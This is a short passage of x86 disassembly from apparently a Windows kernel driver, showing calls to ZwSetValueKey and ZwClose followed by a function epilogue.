call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov esp, ebp
pop ebp
ret 8